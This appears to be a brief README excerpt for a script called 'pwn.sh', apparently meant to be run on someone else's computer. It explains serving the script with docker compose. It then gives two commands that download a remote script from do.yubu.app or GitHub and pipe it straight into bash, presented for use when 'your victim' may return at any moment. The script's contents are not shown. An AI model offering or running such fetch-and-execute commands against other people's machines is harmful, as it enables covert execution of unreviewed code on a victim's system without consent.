To build the script and exposing it on port 80:
docker compose up --build
You are in a panic state, your victim can come from one moment to another and you need to execute the script at full speed without go in GitHub:
bash <(curl -L do.yubu.app/pwn.sh)
bash <(curl https://raw.githubusercontent.com/LeoFVO/do.exe/main/pwn.sh)